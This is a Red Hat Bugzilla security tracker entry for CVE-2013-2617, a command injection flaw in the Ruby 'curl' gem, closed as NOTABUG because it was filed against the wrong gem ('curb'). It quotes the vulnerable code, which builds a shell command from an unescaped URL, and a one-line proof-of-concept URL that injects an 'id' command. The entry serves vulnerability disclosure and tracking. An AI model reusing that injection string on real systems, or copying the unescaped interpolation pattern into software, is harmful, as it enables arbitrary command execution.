Bug 924240 (CVE-2013-2617)
| Summary: | CVE-2013-2617 rubygem-curl: insufficient URL escaping command injection | ||
|---|---|---|---|
| Product: | [Other] Security Response | Reporter: | Jan Lieskovsky <jlieskov> |
| Component: | vulnerability | Assignee: | Red Hat Product Security <security-response-team> |
| Status: | CLOSED NOTABUG | QA Contact: | |
| Severity: | urgent | Docs Contact: | |
| Priority: | urgent | ||
| Version: | unspecified | CC: | cpelland, dajohnso, jeckersb, mmccune, morazi, rcvalle, shreyankg, vondruch |
| Target Milestone: | --- | Keywords: | Security |
| Target Release: | --- | ||
| Hardware: | All | ||
| OS: | Linux | ||
| Whiteboard: | |||
| Fixed In Version: | Doc Type: | Bug Fix | |
| Doc Text: | Story Points: | --- | |
| Clone Of: | Environment: | ||
| Last Closed: | 2013-03-21 13:55:12 UTC | Type: | --- |
| Regression: | --- | Mount Type: | --- |
| Documentation: | --- | CRM: | |
| Verified Versions: | Category: | --- | |
| oVirt Team: | --- | RHEL 7.3 requirements from Atomic Host: | |
| Cloudforms Team: | --- | Target Upstream Version: | |
| Embargoed: | |||
| Bug Depends On: | 924242 | ||
| Bug Blocks: | 924252 | ||
|
Description
Jan Lieskovsky
2013-03-21 12:31:41 UTC
Copy of public reproducer (from [4]): ------------------------------------- Curl Ruby Gem Remote command execution 3/12/2013 https://github.com/tg0/curl Specially crafted URLs can result in remote code execution: In ./lib/curl.rb the following lines: 131 cmd = "curl #{cookies_store} #{browser_type} #{@setup_params} {ref} \"{url}\" " 132 if @debug 133 puts cmd.red 134 end 135 result = open_pipe(cmd) PoC: page = curl.get("http://vapid.dhs.org/\"\;id\/tmp\/p\;\"") larry@underfl0w:/tmp$ cat p uid=0(root) gid=0(root) groups=0(root) Larry W. Cashdollar @_larry0 http://vapid.dhs.org Created rubygem-curb tracking bugs for this issue Affects: fedora-all [bug 924242] (In reply to comment #2) > Created rubygem-curb tracking bugs for this issue > > Affects: fedora-all [bug 924242] I am not sure there's an upstream patch for this issue yet (wasn't able to find one from git log). But once there is, please be sure to schedule Fedora rubygem-curb package updates. curl and curb are two different gems. The bug refers to curl gem while this bug is assosicated to rubygem-curb, which seems to be mistake. (In reply to comment #5) > curl and curb are two different gems. The bug refers to curl gem while this > bug is assosicated to rubygem-curb, which seems to be mistake. This is truly correct (those are different ones): [1] https://rubygems.org/gems/curl (the Gem flaw was in) [2] https://rubygems.org/gems/curb (this bug is targeted against) Thank you for pointing out, Vit (closing bug as invalid && apologize for the noise). |